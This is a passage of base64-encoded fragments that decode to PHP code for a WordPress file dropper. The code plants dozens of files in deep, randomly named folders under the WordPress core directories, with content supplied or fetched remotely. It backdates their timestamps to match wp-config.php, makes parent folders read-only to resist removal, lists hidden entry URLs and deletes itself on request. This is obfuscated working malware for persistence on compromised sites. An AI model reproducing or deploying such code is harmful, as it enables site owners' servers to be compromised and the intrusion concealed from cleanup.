N","CiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJHBhcmVudE","RpciA9IGRpcm5hbWUoJGZpbGVQYXRoKTsNCiAgICAgICAgaWYg","KGlzX2RpcigkcGFyZW50RGlyKSkgew0KICAgICAgICAgICAgQG","NobW9kKCRwYXJlbnREaXIsIDA1NTUpOw0KICAgICAgICB9DQog","ICAgICAgIA0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQ","ogICAgDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBjcmVhdGVGaWxl","V2l0aFJldHJ5KCRmaWxlUGF0aCwgJGNvbnRlbnQpIHsNCiAgIC","AgICAgJGF0dGVtcHRzID0gMDsNCiAgICAgICAgDQogICAgICAg","IHdoaWxlICgkYXR0ZW1wdHMgPCAkdGhpcy0+bWF4QXR0ZW1wdH","MpIHsNCiAgICAgICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVu","dHMoJGZpbGVQYXRoLCAkY29udGVudCkpIHsNCiAgICAgICAgIC","AgICAgICAkdGhpcy0+c2V0RmlsZUFuZERpcmVjdG9yeVBlcm1p","c3Npb25zKCRmaWxlUGF0aCk7DQogICAgICAgICAgICAgICAgcm","V0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAg","ICANCiAgICAgICAgICAgICRkaXJQYXRoID0gZGlybmFtZSgkZm","lsZVBhdGgpOw0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZGly","UGF0aCkpIHsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGRpcl","BhdGgsIDA3NTUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAg","ICAgDQogICAgICAgICAgICAkYXR0ZW1wdHMrKzsNCiAgICAgIC","AgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIGZhbHNlOw0K","ICAgIH0NCiAgICANCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNldE","RpcmVjdG9yeVRpbWVzKCRwYXRocywgJHRpbWVzdGFtcCkgew0K","ICAgICAgICBmb3JlYWNoICgkcGF0aHMgYXMgJHBhdGgpIHsNCi","AgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAg","ICAgICAgICAgICAgQHRvdWNoKCRwYXRoLCAkdGltZXN0YW1wKT","sNCiAgICAgICAgICAgICAgICAkdGhpcy0+dGltZUFkanVzdG1l","bnRzKys7DQogICAgICAgICAgICAgICAgJHRoaXMtPnNldFN1Ym","RpcmVjdG9yeVRpbWVzKCRwYXRoLCAkdGltZXN0YW1wKTsNCiAg","ICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICANCi","AgICBwcml2YXRlIGZ1bmN0aW9uIHNldFN1YmRpcmVjdG9yeVRp","bWVzKCRkaXJQYXRoLCAkdGltZXN0YW1wKSB7DQogICAgICAgIG","lmICgkaGFuZGxlID0gQG9wZW5kaXIoJGRpclBhdGgpKSB7DQog","ICAgICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZW50cnkgPS","ByZWFkZGlyKCRoYW5kbGUpKSkgew0KICAgICAgICAgICAgICAg","IGlmICgkZW50cnkgPT09ICcuJyB8fCAkZW50cnkgPT09ICcuLi","cpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIA0KICAgICAg","ICAgICAgICAgICRmdWxsUGF0aCA9ICRkaXJQYXRoIC4gJy8nIC","4gJGVudHJ5Ow0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIo","JGZ1bGxQYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICBAdG","91Y2goJGZ1bGxQYXRoLCAkdGltZXN0YW1wKTsNCiAgICAgICAg","ICAgICAgICAgICAgJHRoaXMtPnRpbWVBZGp1c3RtZW50cysrOw","0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0U3ViZGly","ZWN0b3J5VGltZXMoJGZ1bGxQYXRoLCAkdGltZXN0YW1wKTsNCi","AgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAg","ICAgICAgICBjbG9zZWRpcigkaGFuZGxlKTsNCiAgICAgICAgfQ","0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gY3Jl","YXRlRmlsZXMoJGNvdW50KSB7DQogICAgICAgICRyZXN1bHRzID","0gYXJyYXkoKTsNCiAgICAgICAgJHN1Y2Nlc3NDb3VudCA9IDA7","DQogICAgICAgICRmYWlsdXJlQ291bnQgPSAwOw0KICAgICAgIC","AkdGhpcy0+dGltZUFkanVzdG1lbnRzID0gMDsNCiAgICAgICAg","DQogICAgICAgICRyZW1vdGVDb250ZW50cyA9ICR0aGlzLT5jYW","NoZWRDb250ZW50czsNCiAgICAgICAgJHJlbW90ZUNvdW50ID0g","Y291bnQoJHJlbW90ZUNvbnRlbnRzKTsNCiAgICAgICAgDQogIC","AgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudCszOyAkaSsr","KSB7DQogICAgICAgICAgICAkY29yZURpciA9ICR0aGlzLT5nZX","RDb3JlRGlyZWN0b3J5KCk7DQogICAgICAgICAgICAkZGVlcERp","ciA9ICR0aGlzLT5maW5kRGVlcERpcmVjdG9yeSgkY29yZURpci","k7DQogICAgICAgICAgICAkbmV3RGVwdGggPSByYW5kKDEsIDUp","Ow0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZGlySW5mby","A9ICR0aGlzLT5jcmVhdGVOZXdEaXJlY3RvcnlTdHJ1Y3R1cmUo","JGRlZXBEaXIsICRuZXdEZXB0aCk7DQogICAgICAgICAgICAkbm","V3RGlyUGF0aCA9ICRkaXJJbmZvWydmaW5hbF9wYXRoJ107DQog","ICAgICAgICAgICANCiAgICAgICAgICAgICRmaWxlTmFtZSA9IC","R0aGlzLT5nZXRSYW5kb21GaWxlTmFtZSgpOw0KICAgICAgICAg","ICAgJGZpbGVQYXRoID0gJG5ld0RpclBhdGggLiAnLycgLiAkZm","lsZU5hbWU7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRz","dGF0dXMgPSAnRmFpbGVkJzsNCiAgICAgICAgICAgICRlcnJvci","A9ICcnOw0KICAgICAgICAgICAgJGZpbGVVcmwgPSAnJzsNCiAg","ICAgICAgICAgIA0KICAgICAgICAgICAgJGZpbGVDb250ZW50ID","0gJyc7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgk","aSA8PSAzKSB7DQogICAgICAgICAgICAgICAgZ2xvYmFsICRmaW","xlX3VybF9jb250Ow0KICAgICAgICAgICAgICAgIGlmICghZW1w","dHkoJGZpbGVfdXJsX2NvbnQpKSB7DQogICAgICAgICAgICAgIC","AgICAgICRmaWxlQ29udGVudCA9ICRmaWxlX3VybF9jb250Ow0K","ICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgIC","AgICAgICAgICRmaWxlQ29udGVudCA9ICR0aGlzLT5nZXREZWZh","dWx0RmlsZUNvbnRlbnQoKTsNCiAgICAgICAgICAgICAgICB9DQ","ogICAgICAgICAgICB9ZWxzZSB7DQogICAgICAgICAgICAgICAg","aWYgKCRyZW1vdGVDb3VudCA+IDApIHsNCiAgICAgICAgICAgIC","AgICAgICAgJGNvbnRlbnRJbmRleCA9ICRpIC0gMzsNCiAgICAg","ICAgICAgICAgICAgICAgJGZpbGVDb250ZW50ID0gJHJlbW90ZU","NvbnRlbnRzWyRjb250ZW50SW5kZXhdOw0KICAgICAgICAgICAg","ICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRmaW","xlQ29udGVudCA9ICR0aGlzLT5nZXREZWZhdWx0RmlsZUNvbnRl","bnQoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgIC","B9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkdGhp","cy0+Y3JlYXRlRGlyZWN0b3J5V2l0aFJldHJ5KCRuZXdEaXJQYX","RoKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5zZXREaXJl","Y3RvcnlUaW1lcygkZGlySW5mb1snZGlyc190b19zZXRfdGltZS","ddLCAkdGhpcy0+d3BDb25maWdUaW1lKTsNCiAgICAgICAgICAg","ICAgICANCiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmNyZW","F0ZUZpbGVXaXRoUmV0cnkoJGZpbGVQYXRoLCAkZmlsZUNvbnRl","bnQpKSB7DQogICAgICAgICAgICAgICAgICAgIEB0b3VjaCgkZm","lsZVBhdGgsICR0aGlzLT53cENvbmZpZ1RpbWUpOw0KICAgICAg","ICAgICAgICAgICAgICAkdGhpcy0+dGltZUFkanVzdG1lbnRzKy","s7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5zZXREaXJl","Y3RvcnlUaW1lcyhhcnJheShkaXJuYW1lKCRmaWxlUGF0aCkpLC","AkdGhpcy0+d3BDb25maWdUaW1lKTsNCiAgICAgICAgICAgICAg","ICAgICAgDQogICAgICAgICAgICAgICAgICAgICRzdGF0dXMgPS","AnQ3JlYXRlZCc7DQogICAgICAgICAgICAgICAgICAgICRzdWNj","ZXNzQ291bnQrKzsNCiAgICAgICAgICAgICAgICAgICAgJHJlbG","F0aXZlUGF0aCA9IHN0cl9yZXBsYWNlKCR0aGlzLT5iYXNlUGF0","aCwgJycsICRmaWxlUGF0aCk7DQogICAgICAgICAgICAgICAgIC","AgICRmaWxlVXJsID0gJHRoaXMtPnNpdGVVcmwgLiAkcmVsYXRp","dmVQYXRoOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogIC","AgICAgICAgICAgICAgICAgICRlcnJvciA9ICdGaWxlIGNyZWF0","aW9uIGZhaWxlZCBhZnRlciAnIC4gJHRoaXMtPm1heEF0dGVtcH","RzIC4gJyBhdHRlbXB0cyc7DQogICAgICAgICAgICAgICAgICAg","ICRmYWlsdXJlQ291bnQrKzsNCiAgICAgICAgICAgICAgICB9DQ","ogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAg","ICRlcnJvciA9ICdEaXJlY3RvcnkgY3JlYXRpb24gZmFpbGVkIG","FmdGVyICcgLiAkdGhpcy0+bWF4QXR0ZW1wdHMgLiAnIGF0dGVt","cHRzJzsNCiAgICAgICAgICAgICAgICAkZmFpbHVyZUNvdW50Ky","s7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAg","ICAgICAgICRyZWxhdGl2ZVBhdGggPSBzdHJfcmVwbGFjZSgkdG","hpcy0+YmFzZVBhdGgsICcnLCAkZmlsZVBhdGgpOw0KICAgICAg","ICAgICAgJHJlbGF0aXZlRGVlcERpciA9IHN0cl9yZXBsYWNlKC","R0aGlzLT5iYXNlUGF0aCwgJycsICRkZWVwRGlyKTsNCiAgICAg","ICAgICAgIA0KICAgICAgICAgICAgJHJlc3VsdHNbXSA9IGFycm","F5KA0KICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkcmVsYXRp","dmVQYXRoLA0KICAgICAgICAgICAgICAgICd1cmwnID0+ICRmaW","xlVXJsLA0KICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICRz","dGF0dXMsDQogICAgICAgICAgICAgICAgJ2Vycm9yJyA9PiAkZX","Jyb3IsDQogICAgICAgICAgICAgICAgJ3RpbWUnID0+IGRhdGUo","J1ktbS1kIEg6aTpzJywgJHRoaXMtPndwQ29uZmlnVGltZSksDQ","ogICAgICAgICAgICAgICAgJ2RlcHRoJyA9PiAkbmV3RGVwdGgs","DQogICAgICAgICAgICAgICAgJ2NvcmVfZGlyJyA9PiBzdHJfcm","VwbGFjZSgkdGhpcy0+YmFzZVBhdGgsICcnLCAkY29yZURpciks","DQogICAgICAgICAgICAgICAgJ2RlZXBfZGlyJyA9PiAkcmVsYX","RpdmVEZWVwRGlyLA0KICAgICAgICAgICAgICAgICdyZXRyaWVz","JyA9PiAkdGhpcy0+bWF4QXR0ZW1wdHMsDQogICAgICAgICAgIC","AgICAgJ2NvbnRlbnRfc291cmNlJyA9PiAoJGkgPCAzKSA/ICdm","aWxlX3VybF9jb250JyA6ICdtYScgLiAoKCgkaSAtIDMpICUgJH","JlbW90ZUNvdW50KSArIDEpDQogICAgICAgICAgICApOw0KICAg","ICAgICB9DQogICAgICAgIA0KICAgICAgICByZXR1cm4gYXJyYX","koDQogICAgICAgICAgICAnZmlsZXMnID0+ICRyZXN1bHRzLA0K","ICAgICAgICAgICAgJ3N1Y2Nlc3NfY291bnQnID0+ICRzdWNjZX","NzQ291bnQsDQogICAgICAgICAgICAnZmFpbHVyZV9jb3VudCcg","PT4gJGZhaWx1cmVDb3VudCwNCiAgICAgICAgICAgICd0b3RhbC","cgPT4gJGNvdW50LA0KICAgICAgICAgICAgJ3RpbWVfYWRqdXN0","bWVudHMnID0+ICR0aGlzLT50aW1lQWRqdXN0bWVudHMNCiAgIC","AgICAgKTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGNoZWNrQ29t","cGF0aWJpbGl0eSgpIHsNCiAgICAkZXJyb3JzID0gYXJyYXkoKT","sNCiAgICANCiAgICAkcmVxdWlyZWRGdW5jdGlvbnMgPSBhcnJh","eSgnc2NhbmRpcicsICdmaWxlbXRpbWUnLCAnbWtkaXInLCAnZm","lsZV9wdXRfY29udGVudHMnKTsNCiAgICBmb3JlYWNoICgkcmVx","dWlyZWRGdW5jdGlvbnMgYXMgJGZ1bmMpIHsNCiAgICAgICAgaW","YgKCFmdW5jdGlvbl9leGlzdHMoJGZ1bmMpKSB7DQogICAgICAg","ICAgICAkZXJyb3JzW10gPSAiUmVxdWlyZWQgZnVuY3Rpb24gbm","90IGF2YWlsYWJsZTogJGZ1bmMiOw0KICAgICAgICB9DQogICAg","fQ0KICAgIA0KICAgICRjb3JlRGlycyA9IGFycmF5KCd3cC1hZG","1pbicsICd3cC1jb250ZW50JywgJ3dwLWluY2x1ZGVzJyk7DQog","ICAgJG1pc3NpbmdEaXJzID0gYXJyYXkoKTsNCiAgICBmb3JlYW","NoICgkY29yZURpcnMgYXMgJGRpcikgew0KICAgICAgICBpZiAo","IWlzX2RpcihfX0RJUl9fIC4gJy8nIC4gJGRpcikpIHsNCiAgIC","AgICAgICAgICRtaXNzaW5nRGlyc1tdID0gJGRpcjsNCiAgICAg","ICAgfQ0KICAgIH0NCiAgICANCiAgICBpZiAoIWVtcHR5KCRtaX","NzaW5nRGlycykpIHsNCiAgICAgICAgJGVycm9yc1tdID0gIk1p","c3NpbmcgV29yZFByZXNzIGNvcmUgZGlyZWN0b3JpZXM6ICIgLi","BpbXBsb2RlKCcsICcsICRtaXNzaW5nRGlycyk7DQogICAgfQ0K","ICAgIA0KICAgIHJldHVybiAkZXJyb3JzOw0KfQ0KDQppZiAoJH","NlY3VyaXR5Q29tcGxldGUpIHsNCiAgICAkZGVsZXRlUmVzdWx0","ID0gJyc7DQogICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVE","hPRCddID09PSAnUE9TVCcgJiYgaXNzZXQoJF9QT1NUWydkZWxl","dGVfZmlsZSddKSkgew0KICAgICAgICAkY3VycmVudEZpbGUgPS","BfX0ZJTEVfXzsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRj","dXJyZW50RmlsZSkpIHsNCiAgICAgICAgICAgIGlmIChAdW5saW","5rKCRjdXJyZW50RmlsZSkpIHsNCiAgICAgICAgICAgICAgICAk","ZGVsZXRlUmVzdWx0ID0gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZX","J0LXN1Y2Nlc3MiPjxzdHJvbmc+U3VjY2VzcyE8L3N0cm9uZz4g","RmlsZSBoYXMgYmVlbiBkZWxldGVkLiBUaGlzIHNjcmlwdCB3aW","xsIG5vIGxvbmdlciBmdW5jdGlvbi48L2Rpdj4nOw0KICAgICAg","ICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkZGVsZX","RlUmVzdWx0ID0gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWVy","cm9yIj48c3Ryb25nPkVycm9yITwvc3Ryb25nPiBGYWlsZWQgdG","8gZGVsZXRlIGZpbGUuIENoZWNrIGZpbGUgcGVybWlzc2lvbnMu","PC9kaXY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbH","NlIHsNCiAgICAgICAgICAgICRkZWxldGVSZXN1bHQgPSAnPGRp","diBjbGFzcz0iYWxlcnQgYWxlcnQtZXJyb3IiPjxzdHJvbmc+RX","Jyb3IhPC9zdHJvbmc+IEZpbGUgbm90IGZvdW5kLjwvZGl2Pic7","DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgJGNvbXBhdG","liaWxpdHlFcnJvcnMgPSBjaGVja0NvbXBhdGliaWxpdHkoKTsN","CiAgICANCiAgICBpZiAoIWVtcHR5KCRjb21wYXRpYmlsaXR5RX","Jyb3JzKSkgew0KICAgICAgICBlY2hvICI8aDI+Q29tcGF0aWJp","bGl0eSBJc3N1ZXMgRGV0ZWN0ZWQ6PC9oMj4iOw0KICAgICAgIC","BlY2hvICI8dWw+IjsNCiAgICAgICAgZm9yZWFjaCAoJGNvbXBh","dGliaWxpdHlFcnJvcnMgYXMgJGVycm9yKSB7DQogICAgICAgIC","AgICBlY2hvICI8bGk+JGVycm9yPC9saT4iOw0KICAgICAgICB9","DQogICAgICAgIGVjaG8gIjwvdWw+IjsNCiAgICAgICAgZWNoby","AiPHA+UGxlYXNlIHJlc29sdmUgdGhlc2UgaXNzdWVzIGJlZm9y","ZSBwcm9jZWVkaW5nLjwvcD4iOw0KICAgICAgICBleGl0Ow0KIC","AgIH0NCiAgICANCiAgICAkcHJvdG9jb2wgPSAoKCFlbXB0eSgk","X1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ1","0gIT09ICdvZmYnKSB8fCANCiAgICAgICAgICAgICAgICAoaXNz","ZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVk","VSWydTRVJWRVJfUE9SVCddID09IDQ0MykpID8gJ2h0dHBzOi8v","JyA6ICdodHRwOi8vJzsNCiAgICAkaG9zdCA9IGlzc2V0KCRfU0","VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9I","T1NUJ10gOiAnbG9jYWxob3N0JzsNCiAgICAkYmFzZV91cmwgPS","AkcHJvdG9jb2wgLiAkaG9zdDsNCiAgICANCiAgICAkZ2VuZXJh","dGVkX3VybHMgPSBbXTsNCiAgICAkZ2VuZXJhdGVkX3VybHNbXS","A9ICRiYXNlX3VybCAuICcvd3Atc2lnbi5waHAnOw0KICAgICRn","ZW5lcmF0ZWRfdXJsc1tdID0gJGJhc2VfdXJsIC4gJy93cC1zZX","QucGhwJzsNCiAgICBpZiAoIWVtcHR5KCRmaWxlX3VybF9jb250","KSkgew0KICAgICAgICAkZ2VuZXJhdGVkX3VybHNbXSA9ICRiYX","NlX3VybCAuICcvJyAuICR3cF9maWxlMTsNCiAgICAgICAgJGdl","bmVyYXRlZF91cmxzW10gPSAkYmFzZV91cmwgLiAnLycgLiAkd3","BfZmlsZTI7DQogICAgICAgIGlmIChpc3NldCgkX0dFVFsnZmls","ZV91cmwnXSkgJiYgIWVtcHR5KCRfR0VUWydmaWxlX3VybCddKS","kgew0KICAgICAgICAgICAgJG9yaWdpbmFsX2RpciA9IGRpcm5h","bWUodHJpbSgkX0dFVFsnZmlsZV91cmwnXSkpOw0KICAgICAgIC","AgICAgJGdlbmVyYXRlZF91cmxzW10gPSAkYmFzZV91cmwgLiAn","LycgLiAkb3JpZ2luYWxfZGlyIC4gJy8nIC4gJHJlbmFtZWRfZm","lsZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAkY291","bnQgPSByYW5kKDI1LCAzMCk7DQogICAgJGdlbmVyYXRvciA9IG","5ldyBBZHZhbmNlZEZpbGVHZW5lcmF0b3IoJGRvbWFpbik7DQog","ICAgJHJlc3VsdERhdGEgPSAkZ2VuZXJhdG9yLT5jcmVhdGVGaW","xlcygkY291bnQpOw0KICAgICRyZXN1bHRzID0gJHJlc3VsdERh","dGFbJ2ZpbGVzJ107DQogICAgDQogICAgJGxpbmtzID0gYXJyYX","koKTsNCiAgICANCiAgICBmb3JlYWNoICgkZ2VuZXJhdGVkX3Vy","bHMgYXMgJHVybCkgew0KICAgICAgICAkbGlua3NbXSA9ICR1cm","w7DQogICAgfQ0KICAgIA0KICAgIGZvcmVhY2ggKCRyZXN1bHRz","IGFzICRmaWxlKSB7DQogICAgICAgIGlmICgkZmlsZVsnc3RhdH","VzJ10gPT09ICdDcmVhdGVkJyAmJiAhZW1wdHkoJGZpbGVbJ3Vy","bCddKSkgew0KICAgICAgICAgICAgJGxpbmtzW10gPSAkZmlsZV","sndXJsJ107DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAg","ZWNobyAiPCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdG","xlPkZpbGUgR2VuZXJhdGlvbiBSZXN1bHRzPC90aXRsZT4NCiAg","ICAgICAgICA8c3R5bGU+DQogICAgICAgICAgICBib2R5IHsgZm","9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBtYXJnaW46","IDIwcHg7IH0NCiAgICAgICAgICAgIC5jb250YWluZXIgeyBtYX","gtd2lkdGg6IDgwMHB4OyBtYXJnaW46IDAgYXV0bzsgfQ0KICAg","ICAgICAgICAgaDEsIGgyIHsgY29sb3I6ICMzMzM7IH0NCiAgIC","AgICAgICAgIC5zdWNjZXNzIHsgY29sb3I6ICMyOGE3NDU7IH0N","CiAgICAgICAgICAgIC5lcnJvciB7IGNvbG9yOiAjZGMzNTQ1Oy","B9DQogICAgICAgICAgICAubGlua3MtYm94IHsNCiAgICAgICAg","ICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOWZhOw0KICAgICAgIC","AgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7DQogICAg","ICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgIC","AgICAgICBtYXJnaW46IDIwcHggMDsNCiAgICAgICAgICAgICAg","ICBib3JkZXItcmFkaXVzOiA1cHg7DQogICAgICAgICAgICAgIC","AgbWF4LWhlaWdodDogMzAwcHg7DQogICAgICAgICAgICAgICAg","b3ZlcmZsb3cteTogYXV0bzsNCiAgICAgICAgICAgIH0NCiAgIC","AgICAgICAgIC5saW5rLWl0ZW0gew0KICAgICAgICAgICAgICAg","IHBhZGRpbmc6IDhweCAwOw0KICAgICAgICAgICAgICAgIGJvcm","Rlci1ib3R0b206IDFweCBzb2xpZCAjZWVlOw0KICAgICAgICAg","ICAgICAgIHdvcmQtYnJlYWs6IGJyZWFrLWFsbDsNCiAgICAgIC","AgICAgIH0NCiAgICAgICAgICAgIC5zcGVjaWFsLWxpbmsgew0K","ICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlN2YzZmY7DQ","ogICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDRweCBzb2xp","ZCAjMDA3YmZmOw0KICAgICAgICAgICAgICAgIHBhZGRpbmctbG","VmdDogMTBweDsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdo","dDogYm9sZDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIC","5idG4tY29udGFpbmVyIHsNCiAgICAgICAgICAgICAgICBkaXNw","bGF5OiBmbGV4Ow0KICAgICAgICAgICAgICAgIGdhcDogMTBweD","sNCiAgICAgICAgICAgICAgICBtYXJnaW4tdG9wOiAxNXB4Ow0K","ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLmNvcHktYnRuLC","AuZGVsZXRlLWJ0biB7DQogICAgICAgICAgICAgICAgZmxleDog","MTsNCiAgICAgICAgICAgICAgICBjb2xvcjogd2hpdGU7DQogIC","AgICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAg","ICAgICAgIHBhZGRpbmc6IDEwcHggMTVweDsNCiAgICAgICAgIC","AgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAg","ICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICAgICAgIC","AgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICAgICAgICAgIH0N","CiAgICAgICAgICAgIC5jb3B5LWJ0biB7DQogICAgICAgICAgIC","AgICAgYmFja2dyb3VuZDogIzAwN2JmZjsNCiAgICAgICAgICAg","IH0NCiAgICAgICAgICAgIC5jb3B5LWJ0bjpob3ZlciB7IGJhY2","tncm91bmQ6ICMwMDY5ZDk7IH0NCiAgICAgICAgICAgIC5kZWxl","dGUtYnRuIHsNCiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOi","AjZGMzNTQ1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg","LmRlbGV0ZS1idG46aG92ZXIgeyBiYWNrZ3JvdW5kOiAjYmQyMT","MwOyB9DQogICAgICAgICAgICAuc3RhdHMgeyBtYXJnaW46IDIw","cHggMDsgfQ0KICAgICAgICAgICAgLmFsZXJ0IHsNCiAgICAgIC","AgICAgICAgICBwYWRkaW5nOiAxNXB4Ow0KICAgICAgICAgICAg","ICAgIG1hcmdpbjogMjBweCAwOw0KICAgICAgICAgICAgICAgIG","JvcmRlci1yYWRpdXM6IDRweDsNCiAgICAgICAgICAgIH0NCiAg","ICAgICAgICAgIC5hbGVydC1zdWNjZXNzIHsNCiAgICAgICAgIC","AgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDRlZGRhOw0KICAg","ICAgICAgICAgICAgIGNvbG9yOiAjMTU1NzI0Ow0KICAgICAgIC","AgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjM2U2Y2I7DQog","ICAgICAgICAgICB9DQogICAgICAgICAgICAuYWxlcnQtZXJyb3","Igew0KICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6","ICNmOGQ3ZGE7DQogICAgICAgICAgICAgICAgY29sb3I6ICM3Mj","FjMjQ7DQogICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29s","aWQgI2Y1YzZjYjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIC","AgIC5kZWxldGUtY29uZmlybSB7DQogICAgICAgICAgICAgICAg","YmFja2dyb3VuZDogI2ZlZjJmMjsNCiAgICAgICAgICAgICAgIC","BwYWRkaW5nOiAyMHB4Ow0KICAgICAgICAgICAgICAgIGJvcmRl","ci1yYWRpdXM6IDhweDsNCiAgICAgICAgICAgICAgICBtYXJnaW","46IDIwcHggMDsNCiAgICAgICAgICAgICAgICBib3JkZXItbGVm","dDogNXB4IHNvbGlkICNlNzRjM2M7DQogICAgICAgICAgICB9DQ","ogICAgICAgICAgICAuc3BlY2lhbC1maWxlcyB7DQogICAgICAg","ICAgICAgICAgYmFja2dyb3VuZDogI2ZmZjNjZDsNCiAgICAgIC","AgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZlYWE3Ow0K","ICAgICAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7DQogICAgIC","AgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4Ow0KICAgICAg","ICAgICAgICAgIG1hcmdpbi1ib3R0b206IDIwcHg7DQogICAgIC","AgICAgICB9DQogICAgICAgICAgPC9zdHlsZT4NCiAgICAgICAg","ICA8L2hlYWQ+PGJvZHk+PGRpdiBjbGFzcz0nY29udGFpbmVyJz","4iOw0KICAgIA0KICAgIGlmICghZW1wdHkoJGRlbGV0ZVJlc3Vs","dCkpIHsNCiAgICAgICAgZWNobyAkZGVsZXRlUmVzdWx0Ow0KIC","AgIH0NCiAgICANCiAgICBlY2hvICI8aDE+RmlsZSBHZW5lcmF0","aW9uIFJlc3VsdHM8L2gxPiI7DQogICAgDQogICAgaWYgKCFlbX","B0eSgkZ2VuZXJhdGVkX3VybHMpKSB7DQogICAgICAgIGVjaG8g","IjxkaXYgY2xhc3M9J3NwZWNpYWwtZmlsZXMnPiI7DQogICAgIC","AgIGVjaG8gIjxoMz5TcGVjaWFsIEdlbmVyYXRlZCBGaWxlczo8","L2gzPiI7DQogICAgICAgIGZvcmVhY2ggKCRnZW5lcmF0ZWRfdX","JscyBhcyAkdXJsKSB7DQogICAgICAgICAgICBlY2hvICI8ZGl2","IGNsYXNzPSdsaW5rLWl0ZW0gc3BlY2lhbC1saW5rJz4kdXJsPC","9kaXY+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L2Rp","dj4iOw0KICAgIH0NCiAgICANCiAgICBlY2hvICI8ZGl2IGNsYX","NzPSdzdGF0cyc+IjsNCiAgICBlY2hvICI8cD5Ub3RhbCBmaWxl","cyBnZW5lcmF0ZWQ6IDxzdHJvbmc+eyRyZXN1bHREYXRhWyd0b3","RhbCddfTwvc3Ryb25nPjwvcD4iOw0KICAgIGVjaG8gIjxwIGNs","YXNzPSdzdWNjZXNzJz5TdWNjZXNzZnVsOiA8c3Ryb25nPnskcm","VzdWx0RGF0YVsnc3VjY2Vzc19jb3VudCddfTwvc3Ryb25nPjwv","cD4iOw0KICAgIGVjaG8gIjxwIGNsYXNzPSdlcnJvcic+RmFpbG","VkOiA8c3Ryb25nPnskcmVzdWx0RGF0YVsnZmFpbHVyZV9jb3Vu","dCddfTwvc3Ryb25nPjwvcD4iOw0KICAgIGVjaG8gIjxwPlRpbW","VzdGFtcCBhZGp1c3RtZW50czogPHN0cm9uZz57JHJlc3VsdERh","dGFbJ3RpbWVfYWRqdXN0bWVudHMnXX08L3N0cm9uZz48L3A+Ij","sNCiAgICBlY2hvICI8L2Rpdj4iOw0KICAgIA0KICAgIGlmICgh","ZW1wdHkoJGxpbmtzKSkgew0KICAgICAgICBlY2hvICI8aDI+QW","xsIEdl